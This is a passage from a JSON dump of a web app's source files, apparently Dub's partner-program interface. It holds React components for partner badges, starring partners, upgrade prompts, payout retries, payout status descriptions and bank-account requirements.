rounded-lg border shadow-sm\",\n                    )}\n                    transition={{ duration: 0.25 }}\n                  />\n                )}\n              </button>\n            );\n          })}\n        </div>\n      </LayoutGroup>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-social-column.tsx",
    "content": "import { PartnerPlatformProps } from \"@/lib/types\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { BadgeCheck2Fill, Tooltip } from \"@dub/ui\";\nimport { getDomainWithoutWWW } from \"@dub/utils\";\n\nconst PLATFORMS_WITH_AT: PlatformType[] = [\n  \"youtube\",\n  \"twitter\",\n  \"instagram\",\n  \"tiktok\",\n];\n\nexport function PartnerSocialColumn({\n  platform,\n  platformName,\n}: {\n  platform: PartnerPlatformProps | null | undefined;\n  platformName: PlatformType;\n}) {\n  if (!platform?.identifier) {\n    return \"-\";\n  }\n\n  const needsAt = PLATFORMS_WITH_AT.includes(platformName);\n  const value =\n    platformName === \"website\"\n      ? getDomainWithoutWWW(platform.identifier) ?? \"-\"\n      : platform.identifier;\n  const verified = !!platform.verifiedAt;\n\n  return (\n    <div className=\"flex items-center gap-2\">\n      <span className=\"min-w-0 truncate\">\n        {needsAt && \"@\"}\n        {value}\n      </span>\n      {verified && (\n        <Tooltip content=\"Verified\" disableHoverableContent>\n          <div>\n            <BadgeCheck2Fill className=\"size-4 text-green-600\" />\n          </div>\n        </Tooltip>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-star-button.tsx",
    "content": "import { updateDiscoveredPartnerAction } from \"@/lib/actions/partners/update-discovered-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { NetworkPartnerProps } from \"@/lib/types\";\nimport { Button } from \"@dub/ui\";\nimport { Star, StarFill } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\ntype PartnerStarButtonProps = {\n  partner: NetworkPartnerProps;\n  onToggleStarred?: (starred: boolean) => void | Promise<void>;\n  className?: string;\n  iconSize?: string;\n};\n\nexport function PartnerStarButton({\n  partner,\n  onToggleStarred,\n  className,\n  iconSize = \"size-4\",\n}: PartnerStarButtonProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync: updateDiscoveredPartner } = useAction(\n    updateDiscoveredPartnerAction,\n  );\n\n  const handleToggleStarred = async (starred: boolean) => {\n    // If a custom handler is provided, use it (e.g., for page-client.tsx with mutatePartners)\n    if (onToggleStarred) {\n      await onToggleStarred(starred);\n      return;\n    }\n\n    // Otherwise, handle the mutation internally (e.g., for partner-info-cards)\n    // First, optimistically update all relevant cache entries\n    mutate(\n      (key) =>\n        typeof key === \"string\" && key.startsWith(\"/api/network/partners\"),\n      (data: any) => {\n        if (!data || !Array.isArray(data)) return data;\n        return data.map((p) =>\n          p.id === partner.id\n            ? {\n                ...p,\n                starredAt: starred ? new Date() : null,\n              }\n            : p,\n        );\n      },\n      { revalidate: false },\n    );\n\n    // Then make the API call and update with server response\n    try {\n      const result = await updateDiscoveredPartner({\n        workspaceId: workspaceId!,\n        partnerId: partner.id,\n        starred,\n      });\n\n      if (!result?.data) {\n        toast.error(\"Failed to star partner\");\n        // Revert optimistic update on error by revalidating\n        mutatePrefix(\"/api/network/partners\");\n        return;\n      }\n\n      // Update with server response\n      const serverData = result.data;\n      mutate(\n        (key) =>\n          typeof key === \"string\" && key.startsWith(\"/api/network/partners\"),\n        (data: any) => {\n          if (!data || !Array.isArray(data)) return data;\n          return data.map((p) =>\n            p.id === partner.id ? { ...p, starredAt: serverData.starredAt } : p,\n          );\n        },\n        { revalidate: false },\n      );\n    } catch (error) {\n      // Revert optimistic update on error\n      mutatePrefix(\"/api/network/partners\");\n    }\n  };\n\n  return (\n    <Button\n      type=\"button\"\n      variant=\"outline\"\n      onClick={() => handleToggleStarred(!partner.starredAt)}\n      icon={\n        partner.starredAt ? (\n          <StarFill className={cn(\"text-amber-500\", iconSize)} />\n        ) : (\n          <Star className={cn(\"text-content-subtle\", iconSize)} />\n        )\n      }\n      className={cn(\"rounded-lg p-0\", className)}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-status-badge-with-tooltip.tsx",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { BAN_PARTNER_REASONS } from \"@/lib/zod/schemas/partners\";\nimport { DynamicTooltipWrapper, StatusBadge } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport { PartnerStatusBadges } from \"./partner-status-badges\";\n\nexport const PartnerStatusBadgeWithTooltip = ({\n  partner,\n  size = \"md\",\n}: {\n  partner: Pick<EnrolledPartnerProps, \"status\" | \"bannedAt\" | \"bannedReason\">;\n  size?: \"sm\" | \"md\";\n}) => {\n  const badge = PartnerStatusBadges[partner.status];\n  return (\n    <DynamicTooltipWrapper\n      {...(partner.status === \"banned\" &&\n      partner.bannedAt &&\n      partner.bannedReason\n        ? {\n            tooltipProps: {\n              content: (\n                <div className=\"w-60 p-4\">\n                  <div className=\"flex items-center gap-2\">\n                    <div className=\"size-2 rounded-full bg-red-500\" />\n                    <div className=\"text-sm font-medium text-neutral-700\">\n                      Banned\n                    </div>\n                  </div>\n                  <div className=\"mt-2 flex flex-col gap-1\">\n                    <div className=\"flex items-center justify-between\">\n                      <span className=\"text-xs text-neutral-500\">Date</span>\n                      <span className=\"text-xs font-medium text-neutral-700\">\n                        {formatDate(partner.bannedAt)}\n                      </span>\n                    </div>\n                    <div className=\"flex items-center justify-between\">\n                      <span className=\"text-xs text-neutral-500\">Reason</span>\n                      <span className=\"text-xs font-medium text-neutral-700\">\n                        {BAN_PARTNER_REASONS[partner.bannedReason]}\n                      </span>\n                    </div>\n                  </div>\n                </div>\n              ),\n              align: \"start\",\n              contentClassName: \"text-left w-60\",\n            },\n          }\n        : {})}\n    >\n      <StatusBadge icon={null} variant={badge.variant} size={size}>\n        {badge.label}\n      </StatusBadge>\n    </DynamicTooltipWrapper>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/partner-status-badges.ts",
    "content": "import {\n  BoxArchive,\n  CircleCheck,\n  CircleHalfDottedClock,\n  CircleXmark,\n  EnvelopeAlert,\n  EnvelopeArrowRight,\n  UserDelete,\n} from \"@dub/ui/icons\";\n\nexport const PartnerStatusBadges = {\n  pending: {\n    label: \"Pending\",\n    variant: \"pending\",\n    className: \"text-orange-600 bg-orange-100\",\n    icon: CircleHalfDottedClock,\n  },\n  approved: {\n    label: \"Approved\",\n    variant: \"success\",\n    className: \"text-green-600 bg-green-100\",\n    icon: CircleCheck,\n  },\n  rejected: {\n    label: \"Rejected\",\n    variant: \"error\",\n    className: \"text-red-600 bg-red-100\",\n    icon: CircleXmark,\n  },\n  invited: {\n    label: \"Invited\",\n    variant: \"new\",\n    className: \"text-blue-600 bg-blue-100\",\n    icon: EnvelopeArrowRight,\n  },\n  declined: {\n    label: \"Declined\",\n    variant: \"amber\",\n    className: \"text-amber-600 bg-amber-100\",\n    icon: EnvelopeAlert,\n  },\n  deactivated: {\n    label: \"Deactivated\",\n    variant: \"neutral\",\n    className: \"text-neutral-500 bg-neutral-100\",\n    icon: CircleXmark,\n  },\n  banned: {\n    label: \"Banned\",\n    variant: \"error\",\n    className: \"text-red-600 bg-red-100\",\n    icon: UserDelete,\n  },\n  archived: {\n    label: \"Archived\",\n    variant: \"neutral\",\n    className: \"text-neutral-500 bg-neutral-100\",\n    icon: BoxArchive,\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/partners/partners-upgrade-modal.tsx",
    "content": "import { UpgradePlanButton } from \"@/ui/workspaces/upgrade-plan-button\";\nimport {\n  Button,\n  Check,\n  Grid,\n  Modal,\n  PLAN_FEATURE_ICONS,\n  Switch,\n  Tooltip,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, INFINITY_NUMBER, nFormatter, PLANS } from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport Link from \"next/link\";\nimport { Dispatch, ReactNode, SetStateAction, useMemo, useState } from \"react\";\n\nconst defaultDescriptions = {\n  Advanced:\n    \"When you upgrade to Advanced, you'll get access to higher payout limits, advanced reward structures, embedded referral dashboard, and more.\",\n  Enterprise:\n    \"When you upgrade to Enterprise, you'll get access to unlimited payouts, unlimited partner groups, and more.\",\n};\n\ntype PartnersUpgradeModalProps = {\n  plan?: string;\n  description?: ReactNode;\n  showPartnersUpgradeModal: boolean;\n  setShowPartnersUpgradeModal: Dispatch<SetStateAction<boolean>>;\n};\n\nexport function PartnersUpgradeModal({\n  plan: planName = \"Advanced\",\n  description,\n  showPartnersUpgradeModal,\n  setShowPartnersUpgradeModal,\n}: PartnersUpgradeModalProps) {\n  const { queryParams } = useRouterStuff();\n\n  const plan = PLANS.find(({ name }) => name === planName)!;\n\n  const [period, setPeriod] = useState<\"monthly\" | \"yearly\">(\"monthly\");\n\n  const features = useMemo(\n    () => [\n      {\n        id: \"payouts\",\n        text:\n          plan.limits.payouts < INFINITY_NUMBER\n            ? `$${nFormatter(plan.limits.payouts / 100)} partner payouts/mo`\n            : \"Unlimited partner payouts\",\n        tooltip: {\n          title:\n            \"Send payouts to your partners with 1-click (or automate it completely) – all across the world.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/partner-payouts\",\n        },\n      },\n      ...({\n        Advanced: [\n          {\n            id: \"flexiblerewards\",\n            text: \"Advanced reward structures\",\n            tooltip: {\n              title:\n                \"Create dynamic click, lead, or sale-based rewards with country and product-specific modifiers.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/partner-rewards\",\n            },\n          },\n          {\n            id: \"embeddedreferrals\",\n            text: \"Embedded referral dashboard\",\n            tooltip: {\n              title:\n                \"Create an embedded referral dashboard directly in your app in just a few lines of code.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/docs/partners/embedded-referrals\",\n            },\n          },\n          {\n            id: \"email\",\n            text: \"Email campaigns\",\n            tooltip: {\n              title:\n                \"Send marketing and transactional emails to your partners to increase engagement and drive conversions.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/email-campaigns\",\n            },\n          },\n          {\n            id: \"messages\",\n            text: \"Messaging center\",\n            tooltip: {\n              title:\n                \"Easily communicate with your partners using our messaging center.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/messaging-partners\",\n            },\n          },\n          {\n            id: \"sso\",\n            text: \"Fraud detection\",\n            tooltip: {\n              title:\n                \"Safeguard your partner program by automatically flagging, reviewing, and resolving suspicious activity.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/fraud-detection\",\n            },\n          },\n          {\n            id: \"partnergroups\",\n            text: `${plan.limits.groups < INFINITY_NUMBER ? plan.limits.groups : \"Unlimited\"} partner groups`,\n            tooltip: {\n              title:\n                \"Learn how you can create partner groups to segment partners by rewards, discounts, performance, location, and more.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/partner-groups\",\n            },\n          },\n          {\n            id: \"slack\",\n            text: \"Priority Slack support\",\n          },\n        ],\n        Enterprise: [\n          {\n            id: \"users\",\n            text: \"Unlimited partner groups\",\n          },\n          {\n            id: \"sso\",\n            text: \"SSO/SAML\",\n            tooltip: {\n              title:\n                \"Enable single sign-on (SSO) for your entire organization using SAML.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/category/saml-sso\",\n            },\n          },\n          {\n            id: \"logs\",\n            text: \"Audit logs\",\n          },\n          {\n            id: \"sla\",\n            text: \"Custom SLA\",\n          },\n          {\n            id: \"success\",\n            text: \"Dedicated success manager\",\n          },\n        ],\n      }[plan.name] ?? []),\n    ],\n    [plan],\n  );\n\n  return (\n    <Modal\n      showModal={showPartnersUpgradeModal}\n      setShowModal={setShowPartnersUpgradeModal}\n      onClose={() => queryParams({ del: \"showPartnersUpgradeModal\" })}\n    >\n      <div className=\"scrollbar-hide relative max-h-[calc(100dvh-50px)] overflow-y-auto p-4 sm:p-8\">\n        <div className=\"pointer-events-none absolute inset-y-0 left-1/2 hidden w-[640px] -translate-x-1/2 [mask-image:linear-gradient(black,transparent_280px)] sm:block\">\n          <Grid cellSize={35} patternOffset={[-29, -10]} />\n        </div>\n\n        <div className=\"relative flex flex-col gap-2\">\n          <div className=\"flex h-5 w-fit items-center justify-center rounded-md bg-violet-100 px-2 text-xs font-semibold text-violet-600\">\n            Upgrade to unlock\n          </div>\n          <h2 className=\"text-content-emphasis text-lg font-semibold\">\n            Get even more from your partner program\n          </h2>\n          <p className=\"text-content-subtle text-sm\">\n            {description ?? defaultDescriptions[plan.name]}\n          </p>\n        </div>\n\n        <div className=\"border-default relative mt-6 flex flex-col rounded-xl border bg-white p-6\">\n          <div className=\"flex items-center justify-between\">\n            <span className=\"text-content-emphasis text-xl font-semibold\">\n              {plan.name}\n            </span>\n            {plan.name !== \"Enterprise\" && (\n              <label className=\"flex items-center gap-1.5\">\n                <span\n                  className={cn(\n                    \"text-xs font-semibold text-neutral-500 transition-colors\",\n                    period === \"yearly\" && \"text-neutral-600\",\n                  )}\n                >\n                  Yearly\n                </span>\n                <Switch\n                  checked={period === \"yearly\"}\n                  fn={() =>\n                    setPeriod(period === \"yearly\" ? \"monthly\" : \"yearly\")\n                  }\n                  trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                  thumbDimensions=\"size-3\"\n                  thumbTranslate=\"translate-x-3\"\n                />\n              </label>\n            )}\n          </div>\n\n          <div className=\"text-content-default mt-0.5 text-base font-medium tabular-nums\">\n            {plan.name !== \"Enterprise\" ? (\n              <NumberFlow\n                value={plan.price[period]!}\n                format={{\n                  style: \"currency\",\n                  currency: \"USD\",\n                  minimumFractionDigits: 0,\n                }}\n                continuous\n              />\n            ) : (\n              \"Custom\"\n            )}\n          </div>\n          {plan.name !== \"Enterprise\" && (\n            <span className=\"text-content-muted text-sm font-medium\">\n              per month{period === \"yearly\" && \", billed yearly\"}\n            </span>\n          )}\n\n          <div className=\"mt-6 flex flex-col gap-2 text-sm\">\n            {features.map(({ id, text, tooltip }) => {\n              const Icon =\n                id && PLAN_FEATURE_ICONS[id] ? PLAN_FEATURE_ICONS[id] : Check;\n              return (\n                <li\n                  key={id}\n                  className=\"flex items-center gap-2 text-neutral-600\"\n                >\n                  <Icon className=\"size-3 shrink-0 [&_*]:stroke-2\" />\n                  {tooltip ? (\n                    <Tooltip\n                      content={\n                        tooltip.href && tooltip.cta\n                          ? `${tooltip.title} [${tooltip.cta}](${tooltip.href})`\n                          : tooltip.title\n                      }\n                    >\n                      <span className=\"cursor-help underline decoration-dotted underline-offset-2\">\n                        {text}\n                      </span>\n                    </Tooltip>\n                  ) : (\n                    <p>{text}</p>\n                  )}\n                </li>\n              );\n            })}\n          </div>\n        </div>\n\n        <div className=\"relative mt-6 flex flex-col gap-3\">\n          {plan.name !== \"Enterprise\" ? (\n            <UpgradePlanButton\n              plan={plan.name.toLowerCase()}\n              period={period}\n              text={`Continue with ${plan.name}`}\n              variant=\"primary\"\n            />\n          ) : (\n            <Link\n              href=\"https://dub.co/contact/sales\"\n              target=\"_blank\"\n              className={cn(\n                \"flex h-10 w-full items-center justify-center rounded-md text-center text-sm transition-all duration-200 ease-in-out\",\n                \"hover:ring-border-subtle border border-black bg-black text-white shadow-sm hover:ring-4\",\n              )}\n            >\n              Contact us\n            </Link>\n          )}\n          <Button\n            text=\"Maybe later\"\n            variant=\"secondary\"\n            onClick={() => {\n              setShowPartnersUpgradeModal(false);\n              queryParams({ del: \"showPartnersUpgradeModal\" });\n            }}\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function usePartnersUpgradeModal(\n  props?: Omit<\n    PartnersUpgradeModalProps,\n    \"showPartnersUpgradeModal\" | \"setShowPartnersUpgradeModal\"\n  >,\n) {\n  const [showPartnersUpgradeModal, setShowPartnersUpgradeModal] =\n    useState(false);\n\n  return {\n    setShowPartnersUpgradeModal,\n    partnersUpgradeModal: (\n      <PartnersUpgradeModal\n        showPartnersUpgradeModal={showPartnersUpgradeModal}\n        setShowPartnersUpgradeModal={setShowPartnersUpgradeModal}\n        {...props}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payout-row-menu.tsx",
    "content": "import { retryFailedPaypalPayoutsAction } from \"@/lib/actions/partners/retry-failed-paypal-payouts\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PartnerPayoutResponse } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { Button, Icon, Popover } from \"@dub/ui\";\nimport { Dots, Refresh2 } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function PayoutRowMenu({ row }: { row: Row<PartnerPayoutResponse> }) {\n  const { partner } = usePartnerProfile();\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { executeAsync: executeRetryPayout, isPending: isRetryPayoutPending } =\n    useAction(retryFailedPaypalPayoutsAction, {\n      onSuccess: () => {\n        toast.success(\"Payout retry initiated successfully\");\n        setIsOpen(false);\n      },\n      onError: (error) => {\n        toast.error(error.error.serverError || \"Failed to retry payout\");\n      },\n    });\n\n  const {\n    confirmModal: retryPayoutModal,\n    setShowConfirmModal: setShowRetryPayoutModal,\n  } = useConfirmModal({\n    title: \"Retry payout\",\n    description:\n      \"You're limited to 5 retry attempts per day. Please ensure your PayPal account is configured correctly before trying again.\",\n    onConfirm: async () => {\n      await executeRetryPayout({\n        payoutId: row.original.id,\n      });\n    },\n    confirmText: \"Retry payout\",\n  });\n\n  const canRetry =\n    row.original.status === \"failed\" &&\n    partner?.defaultPayoutMethod === \"paypal\";\n\n  if (!canRetry) {\n    return null;\n  }\n\n  return (\n    <>\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"pointer-events-auto\">\n            <Command.List className=\"flex w-screen flex-col gap-1 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[180px]\">\n              <Command.Group className=\"p-1.5\">\n                <MenuItem\n                  icon={Refresh2}\n                  label=\"Retry payout\"\n                  onSelect={() => {\n                    setShowRetryPayoutModal(true);\n                    setIsOpen(false);\n                  }}\n                  disabled={isRetryPayoutPending}\n                />\n              </Command.Group>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n      {retryPayoutModal}\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  disabled,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  disabled?: boolean;\n}) {\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm text-neutral-600\",\n        \"data-[selected=true]:bg-neutral-100\",\n        disabled && \"cursor-not-allowed opacity-50\",\n      )}\n      onSelect={onSelect}\n      disabled={disabled}\n    >\n      <IconComp className=\"size-4 shrink-0 text-neutral-500\" />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payout-status-badge-partner.tsx",
    "content": "import usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { Payout, Program } from \"@dub/prisma/client\";\nimport { StatusBadge, Tooltip } from \"@dub/ui\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport { PayoutStatusBadges } from \"./payout-status-badges\";\nimport { PAYOUT_STATUS_DESCRIPTIONS } from \"./payout-status-descriptions\";\n\nexport const PayoutStatusBadgePartner = ({\n  payout,\n  program,\n}: {\n  payout: Pick<Payout, \"status\" | \"amount\" | \"method\"> & {\n    failureReason?: string | null;\n  };\n  program: Pick<Program, \"minPayoutAmount\">;\n}) => {\n  const { partner } = usePartnerProfile();\n\n  const badge = PayoutStatusBadges[payout.status];\n\n  const tooltipContent: string | undefined = useMemo(() => {\n    if (!partner) {\n      return undefined;\n    }\n\n    if (payout.status === \"failed\" && payout.failureReason) {\n      return payout.failureReason;\n    }\n\n    if (\n      payout.status === \"pending\" &&\n      payout.amount < program.minPayoutAmount\n    ) {\n      return `This program's [minimum payout amount](https://dub.co/help/article/commissions-payouts#what-does-minimum-payout-amount-mean) is ${currencyFormatter(\n        program.minPayoutAmount,\n        { trailingZeroDisplay: \"stripIfInteger\" },\n      )}. This payout will be accrued and processed during the next payout period.`;\n    }\n\n    const payoutMethod = payout.method ?? partner?.defaultPayoutMethod;\n\n    if (!payoutMethod) {\n      return undefined;\n    }\n\n    return PAYOUT_STATUS_DESCRIPTIONS[payoutMethod][payout.status];\n  }, [payout, program, partner]);\n\n  return badge ? (\n    <StatusBadge\n      icon={badge.icon}\n      variant={badge.variant}\n      className={badge.className}\n    >\n      <Tooltip content={tooltipContent}>\n        <div>{badge.label}</div>\n      </Tooltip>\n    </StatusBadge>\n  ) : (\n    \"-\"\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/payout-status-badges.tsx",
    "content": "import {\n  CircleCheck,\n  CircleHalfDottedCheck,\n  CircleHalfDottedClock,\n  CircleWarning,\n  CircleXmark,\n  PaperPlane,\n} from \"@dub/ui/icons\";\n\nexport const PayoutStatusBadges = {\n  pending: {\n    label: \"Pending\",\n    variant: \"pending\",\n    icon: CircleHalfDottedClock,\n    className: \"text-orange-600 bg-orange-100\",\n  },\n  processing: {\n    label: \"Processing\",\n    variant: \"new\",\n    icon: CircleHalfDottedClock,\n    className: \"text-blue-600 bg-blue-100\",\n  },\n  processed: {\n    label: \"Processed\",\n    variant: \"new\",\n    icon: CircleHalfDottedCheck,\n    className: \"text-indigo-600 bg-indigo-100\",\n  },\n  sent: {\n    label: \"Sent\",\n    variant: \"new\",\n    icon: PaperPlane,\n    className: \"text-blue-600 bg-blue-100\",\n  },\n  completed: {\n    label: \"Completed\",\n    variant: \"success\",\n    icon: CircleCheck,\n    className: \"text-green-600 bg-green-100\",\n  },\n  failed: {\n    label: \"Failed\",\n    variant: \"error\",\n    icon: CircleWarning,\n    className: \"text-red-600 bg-red-100\",\n  },\n  canceled: {\n    label: \"Canceled\",\n    variant: \"neutral\",\n    icon: CircleXmark,\n    className: \"text-gray-600 bg-gray-100\",\n  },\n  // extra status for hold (not in OpenAPI spec)\n  hold: {\n    label: \"On Hold\",\n    variant: \"error\",\n    icon: CircleXmark,\n    className: \"text-red-600 bg-red-100\",\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/partners/payout-status-descriptions.ts",
    "content": "import {\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n  STABLECOIN_PAYOUT_FEE_RATE,\n} from \"@/lib/constants/payouts\";\nimport { PartnerPayoutMethod, PayoutStatus } from \"@dub/prisma/client\";\nimport { currencyFormatter } from \"@dub/utils\";\n\nexport const PAYOUT_STATUS_DESCRIPTIONS: Record<\n  PartnerPayoutMethod,\n  Record<Exclude<PayoutStatus, \"failed\" | \"canceled\">, string>\n> = {\n  connect: {\n    pending:\n      \"Payouts that have passed the [program's holding period](https://dub.co/help/article/commissions-payouts#what-does-holding-period-mean) and are awaiting payment from the program (as long as it reaches the [program's minimum payout amount](https://dub.co/help/article/commissions-payouts#what-does-minimum-payout-amount-mean)).\",\n    processing:\n      \"Payouts that are being processed by the program – this can take up to 5 business days.\",\n    processed: `Payouts that have been processed by the program and will be paid out to your connected bank account once they reach the [${currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS, { trailingZeroDisplay: \"stripIfInteger\" })} minimum withdrawal amount](https://dub.co/help/article/receiving-payouts#what-is-the-minimum-withdrawal-amount-and-how-does-it-work).`,\n    sent: \"Payouts that are on their way to your connected bank account – this can take anywhere from 1 to 14 business days depending on your bank location.\",\n    completed:\n      \"Payouts that have been paid out to your connected bank account.\",\n  },\n\n  stablecoin: {\n    pending:\n      \"Payouts that have passed the [program's holding period](https://dub.co/help/article/commissions-payouts#what-does-holding-period-mean) and are awaiting payment from the program (as long as it reaches the [program's minimum payout amount](https://dub.co/help/article/commissions-payouts#what-does-minimum-payout-amount-mean)).\",\n    processing:\n      \"Payouts that are being processed by the program – this can take up to 5 business days.\",\n    processed: `Payouts that have been processed by the program and will be sent to your connected crypto wallet (a ${STABLECOIN_PAYOUT_FEE_RATE * 100}% stablecoin payout fee is deducted).`,\n    sent: \"Payouts that are on their way to your connected crypto wallet – typically arriving within minutes.\",\n    completed:\n      \"Payouts that have been paid out to your connected crypto wallet.\",\n  },\n\n  paypal: {\n    pending:\n      \"Payouts that have passed the [program's holding period](https://dub.co/help/article/commissions-payouts#what-does-holding-period-mean) and are awaiting payment from the program (once it reaches the [program's minimum payout amount](https://dub.co/help/article/commissions-payouts#what-does-minimum-payout-amount-mean)).\",\n    processing:\n      \"Payouts that have been processed by the program and are on their way to your PayPal account - this can take up to 5 business days.\",\n    processed: \"\",\n    sent: \"\",\n    completed: \"Payouts that have been paid out to your PayPal account\",\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/bank-account-requirements-modal.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { TriangleWarning } from \"@dub/ui/icons\";\nimport { COUNTRIES, COUNTRY_CURRENCY_CODES } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useMemo, useState } from \"react\";\nimport { Markdown } from \"../../shared/markdown\";\n\nfunction BankAccountRequirementsModal({\n  showModal,\n  setShowModal,\n  onContinue,\n}: {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  onContinue: () => Promise<void>;\n}) {\n  const { partner } = usePartnerProfile();\n\n  const BANK_ACCOUNT_REQUIREMENTS = useMemo(() => {\n    return [\n      `1. Bank account must be in your local currency.${partner?.country ? ` Since you're based in [${COUNTRIES[partner.country]}](/profile), you need to connect a **${COUNTRY_CURRENCY_CODES[partner.country]} bank account** to receive payouts.` : \"\"}`,\n      \"2. Bank account must be a **checking account** (not a savings account or debit card).\",\n      \"3. Bank account holder name must match your partner account name.\",\n      \"4. Bank account details are 100% accurate (no typos or missing numbers).\",\n    ];\n  }, [partner?.country]);\n\n  const [acknowledged, setAcknowledged] = useState(false);\n\n  const [isLoading, setIsLoading] = useState(false);\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"flex items-center justify-between p-6\">\n        <h3 className=\"text-lg font-semibold text-neutral-900\">\n          Bank account requirements\n        </h3>\n      </div>\n\n      <div className=\"flex flex-col gap-6 border-t border-neutral-200 bg-neutral-50 p-6\">\n        <div className=\"flex flex-col gap-2.5 rounded-lg border border-amber-200 bg-amber-50 p-3\">\n          <TriangleWarning className=\"size-3.5 text-amber-500\" />\n          <p className=\"text-sm leading-5 text-amber-900\">\n            If your bank account does not meet these requirements, payouts may\n            be delayed or rejected.\n          </p>\n        </div>\n\n        <div className=\"flex flex-col gap-2 text-sm text-neutral-800\">\n          <p className=\"font-semibold\">Requirements:</p>\n          <Markdown className=\"list-decimal\">\n            {BANK_ACCOUNT_REQUIREMENTS.join(\"\\n\")}\n          </Markdown>\n\n          <label className=\"flex cursor-pointer gap-3 rounded-lg border border-neutral-300 p-3\">\n            <div className=\"flex h-5 items-center\">\n              <input\n                type=\"checkbox\"\n                checked={acknowledged}\n                onChange={(e) => setAcknowledged(e.target.checked)}\n                className=\"h-4 w-4 rounded border-neutral-300 text-neutral-900 focus:ring-neutral-900\"\n              />\n            </div>\n            <span className=\"text-sm leading-5 text-neutral-900\">\n              I confirm that my bank account meets all of the above\n              requirements.\n            </span>\n          </label>\n        </div>\n\n        <Button\n          text=\"Continue\"\n          onClick={async () => {\n            setIsLoading(true);\n            await onContinue();\n            setIsLoading(false);\n          }}\n          loading={isLoading}\n          disabled={!acknowledged}\n          disabledTooltip={\n            !acknowledged\n              ? \"You must acknowledge the requirements before continuing.\"\n              : undefined\n          }\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useBankAccountRequirementsModal({\n  onContinue,\n}: {\n  onContinue: () => Promise<void>;\n}) {\n  const [showModal, setShowModal] = useState(false);\n\n  const BankAccountRequirementsModalElement = useMemo(\n    () => (\n      <BankAccountRequirementsModal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        onContinue={onContinue}\n      />\n    ),\n    [showModal, onContinue],\n  );\n\n  return useMemo(\n    () => ({\n      setShowBankAccountRequirementsModal: setShowModal,\n      BankAccountRequirementsModal: BankAccountRequirementsModalElement,\n    }),\n    [BankAccountRequirementsModalElement],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/connect-payout-button.tsx",
